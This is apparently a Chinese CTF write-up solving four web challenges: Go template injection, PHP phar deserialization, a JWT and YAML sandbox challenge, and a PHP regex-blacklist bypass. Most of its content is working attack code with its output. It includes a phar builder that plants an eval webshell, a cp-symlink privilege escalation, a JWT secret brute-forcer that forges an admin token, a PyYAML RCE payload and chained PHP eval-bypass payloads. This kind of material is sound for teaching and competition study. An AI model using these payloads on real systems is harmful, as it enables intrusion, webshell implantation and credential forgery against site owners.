ssti

先判断是哪种类型的ssti,通过 {{.}},发现是go语言类型的

并且返回 map[B64Decode:0x6ee380 exec:0x6ee120],由于go语言ssti的特性,因此猜测返回的是函数,并且可以被调用。

使用 {{exec "nl *"}} 成功获取到源码

发现黑名单,因为还有一个base64函数,双函数调用即可绕过waf。

payload:{{exec (B64Decode "Y2F0IC9mbGFn")}}

easy_readfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(__FILE__);

function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}

class Coral{
public $pivot;

public function __set($k, $value) {
$k = $this->pivot->ctor;
echo new $k($value);
}
}

class Nimbus{
public $handle;
public $ctor;

public function __destruct() {
return $this->handle();
}
public function __call($name, $arg){
$arg[1] = $this->handle->$name;
}
}

class Zephyr{
public $target;
public $payload;
public function __get($prop)
{
$this->target->$prop = $this->payload;
}
}

class Acheron {
public $mode;

public function __destruct(){
$data = $_POST[0];
if ($this->mode == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".phar";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->mode == 'r') {
waf($data);
$f = include($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

if(strlen($_POST[1]) < 52) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}

?>

分析代码,发现可以通过包含phar文件来RCE
waf里的检测可以用gzip压缩来绕过

生成恶意phar

1
2
3
4
5
6
7
<?php
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub("system('echo \"<?php eval(\$_POST[1]); ?>\" > /var/www/html/1.php');__HALT_COMPILER();");
$phar -> addFromString('exp.txt', 'exp');
$phar -> stopBuffering();
?>

上传phar并获取路径

1
2
3
4
5
6
7
8
import requests

url = "http://web-ae0d45923a.challenge.xctf.org.cn/"

with open("exp.phar.gz", "rb") as f:
data = {"1": "O:7:\"Acheron\":1:{s:4:\"mode\";s:1:\"w\";}", "0": f.read()}
r = requests.post(url=url, data=data)
print(r.text)

然后包含这个phar,即可往根目录写入一句话木马

1
2
post提交
0=/tmp/f8de37b2568b7fc98eddd39b06564c2c.phar&1=O:7:"Acheron":1:{s:4:"mode";s:1:"r";}

蚁剑连接,需要提权
注意到这个文件start.sh

1
2
3
4
5
6
7
8
#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 10
done

这是一个用于备份的定时任务,可以用来提权,打个软链接让它备份就行,由于 -P 选项不支持符号链接,所以先创建一个 -H 文件,这样就变成了 cp -P -H,后面可以跟符号链接

1
2
3
4
echo "111">"-H"
ln -s /flag flag.txt
/start.sh
cat backup/flag.txt

ez_python

抓包发现有 Authorization: Bearer xxxx

尝试无签名伪造,获得了提示

1
{"error":"JWT Decode Failed. Key Hint","hint":"Key starts with "@o70xO$0%#qR9#**". The 2 missing chars are alphanumeric (letters and numbers)."}

那么可以本地先把密钥爆破出来
brute.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import base64, hmac, hashlib, string, json, time

TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
PREFIX = "@o70xO$0%#qR9#" # 已知前缀
ALPHA = string.ascii_letters + string.digits # A-Z a-z 0-9

def b64url_decode(s: str) -> bytes:
s += "=" * ((4 - len(s) % 4) % 4)
return base64.urlsafe_b64decode(s)

def b64url_encode(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

# 1) 拆 token,准备对比用的 msg 与签名
header_b64, payload_b64, sig_b64 = TOKEN.split(".")
msg = f"{header_b64}.{payload_b64}".encode()
sig_bytes = b64url_decode(sig_b64)

print("[*] header.payload =", header_b64 + "." + payload_b64)
print("[*] target sig len =", len(sig_bytes))

# 2) 穷举后两位并比对 HMAC
start = time.time()
attempts = 0
found_key = None
for c1 in ALPHA:
for c2 in ALPHA:
key = (PREFIX + c1 + c2).encode()
mac = hmac.new(key, msg, hashlib.sha256).digest()
attempts += 1
if mac == sig_bytes:
found_key = key.decode()
elapsed = time.time() - start
print(f"\n[+] FOUND KEY: {found_key}")
break
if found_key:
break

if not found_key:
print("[-] No match found.(确认掩码/字符集是否正确,或 token 是否被更新)")
raise SystemExit(1)

# 3) 生成一个 role=admin 的新 JWT(方便后续打点)
header = {"alg":"HS256","typ":"JWT"}
payload = {"username":"guest","role":"admin"}
h = b64url_encode(json.dumps(header,separators=(',',':')).encode())
p = b64url_encode(json.dumps(payload,separators=(',',':')).encode())
sig = hmac.new(found_key.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
admin_jwt = f"{h}.{p}.{b64url_encode(sig)}"
print("\n[+] Admin JWT (HS256, same key):")
print(admin_jwt)
1
2
3
[+] FOUND KEY: @o70xO$0%#qR9#m0
[+] Admin JWT (HS256, same key):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU

这一步过了,但是后面发现应该是有黑名单

1
2
3
4
5
6
7
8
HTTP/1.1 400 BAD REQUEST
Date: Mon, 08 Sep 2025 09:23:12 GMT
Content-Type: application/json
Content-Length: 39
Connection: close
Server: TinyFat/0.99.75

{"error":"forbidden keyword detected"}

改用yaml打,很快就出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /sandbox HTTP/1.1
Host: web-88dd0f76a0.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://web-88dd0f76a0.challenge.xctf.org.cn/
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU
Content-Type: multipart/form-data; boundary=----geckoformboundary2054492fa1ccfbb7a56abd609eb2ae
Content-Length: 391
Origin: http://web-88dd0f76a0.challenge.xctf.org.cn
Connection: close
Priority: u=0

------geckoformboundary2054492fa1ccfbb7a56abd609eb2ae
Content-Disposition: form-data; name="codefile"; filename="exp.yaml"
Content-Type: application/octet-stream

!!python/object/apply:subprocess.getoutput
- |
cat /f*
------geckoformboundary2054492fa1ccfbb7a56abd609eb2ae
Content-Disposition: form-data; name="mode"

yaml
------geckoformboundary2054492fa1ccfbb7a56abd609eb2ae--


HTTP/1.1 200 OK
Date: Mon, 08 Sep 2025 09:36:16 GMT
Content-Type: application/json
Content-Length: 52
Connection: close
Server: TinyFat/0.99.75

{"result":"flag{JweT9rollXZoeiugJyxKHqkgOZslCPSW}"}

yaml反序列化打法还有很多,比如:
!!python/object/apply:subprocess.check_output [[cat,/f1111ag]]

ezbypass

1
2
3
4
5
6
7
8
9
<?php
$test=$_GET['test'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i"$test)){    
eval($test);
}else{    
echo "oh nonono hacker!";
}
highlight_file(__FILE__);
?>

可以用 () ! | 这几个符号。还有一些系统的函数。

无参数RCE明显可行

1
2
3
4
GET /?test=system(join(apache_request_headers())); HTTP/1.1
Host: 80-45aeca2e-3108-4612-be1c-354243ae2715.challenge.ctfplus.cn
Content-Length: 12
aaaa:`cp /flag test`

利用apache_request_headers没有禁止来搞定了

另外还有个比较绕的方法

代码里面是这样:eval($test)

?test=include(aaa|ddd); 的时候,提示的是 找不到eee这个文件

这个就是php 7.4的eval的第一个小特性,如果输入的是一个常量,那么默认解析为字符串。
所以这个就成了位操作 aaa|bbb => "aaa"|"bbb"

然后php 7的第2个小特性:call_user_func

禁用了那么多的函数而这个 call_user_func 可以呼叫字符串。所以结合第一个特性,就可以这么来呼叫 phpinfo()

1
2
3
test=call_user_func(phpinfm|phpinfn);
等价于
"phpinfm"|"phpinfn"="phpinfo"

现在第三个,php的小函数– set_include_path 函数

这个函数可以设置 inlucde 的路径。意思就是把这个路径设置了后,就可以 include(flag); 来直接包含了。
问题是 / 被禁了。就需要想办法找到一个 / 进来。

第四个php的小特性:由于题目中禁了逗号,所以,call_user_func 是不能带参数的。所以就需要用到php的第四个小特性–ob方法

ob_start(callback)

这个callback是一个函数
第一个限制是这个func,必须可以进入两个参数,不然要报错。
第二个限制是传入传出都必须是字符串。
所以首先想到的是 base64_decode json_encode 这类的。

第二个特性是ob_start是可以套娃的,不停的套不停的输出。

这里 dirname 可以套进去,system(pwd) 可以得到一个目录路径。
所以一个思路就是:set_include_path(dirname(system(pwd)));include(flag);

所以最后就综合以上说的这些思路,给出其中一种解法:

1
?test=error_reporting(false);ob_start();ob_start(dibname|dipname);system(pwd);call_user_func(ob_and_flush|ob_dnd_flush);set_include_path(call_user_func(ob_gat_clean|ob_gdt_clean));include(flag);

下面按执行顺序把这个 payload 拆开讲清楚,为什么它能读到服务器根目录下的 /flag

具体执行流程

  1. error_reporting(false);
    关掉报错,这样后面用未定义常量 flag(没有引号)时不会抛 Notice。

  2. ob_start();
    开启 外层输出缓冲(buffer#1)。

  3. ob_start(dibname|dipname); → 等价 ob_start('dirname');
    开启 内层输出缓冲(buffer#2),并指定 回调dirname
    这意味着:当我们结束/冲刷这个内层缓冲时,PHP 会把缓冲内容(字符串)交给 dirname($buffer) 处理,返回值再写入外层缓冲。

  4. system(pwd);
    黑名单里禁了 getcwd,但没禁 system 和命令 pwd
    这句把当前工作目录打印到 内层缓冲(例如常见是 //var/www/html,取决于服务环境)。

  5. call_user_func(ob_and_flush|ob_dnd_flush); → 等价 call_user_func('ob_end_flush');
    结束并把内层缓冲刷到外层。由于内层有回调 dirname,实际写入外层的是:dirname( pwd 的输出 ) 的结果。

    • 如果 pwd 输出是 /dirname('/') 仍是 /
    • 如果是 /var/www/html,结果会是 /var/www
  6. set_include_path( call_user_func(ob_gat_clean|ob_gdt_clean) );
    → 等价 set_include_path( call_user_func('ob_get_clean') );
    ob_get_clean()取出并清空外层缓冲的内容,把它作为字符串返回。上一步我们写入了 dirname(pwd) 的结果,所以这里把 include_path 设置为该目录

    • 若上一步是 /,此处 include_path 变成 /
    • 若是 /var/www,则变为 /var/www
  7. include(flag);
    黑名单禁了引号,不能写 include('/flag')include("flag")
    在 PHP 里,未定义常量 flag 在关闭报错时会当作字符串 "flag" 使用。再加上我们刚把 include_path 设成了根目录 /(或一个包含 flag 文件的目录),于是 include(flag) 会去 include_path 下寻找名为 flag 的文件:

    • include_path/ 时 → 实际等价 include('/flag'),从而读取根目录的 flag 文件内容并输出。

这就是不写引号也能 “include /flag” 的关键链条:
pwd → 内缓冲 → dirname 处理 → 外缓冲 → ob_get_clean 取值 → set_include_pathinclude(flag)

  • 许多 CTF/容器环境里,PHP-FPM/CLI 的工作目录就是 /system(pwd) 会输出 /,从而 dirname('/') 仍是 /include_path 直接被设为 /,最后 include(flag) 即读取 /flag
  • 即便工作目录不是 /,只要 dirname(pwd) 指向了一个包含 flag 文件的目录(出题人可以把 flag 放在恰当位置),同样能读到。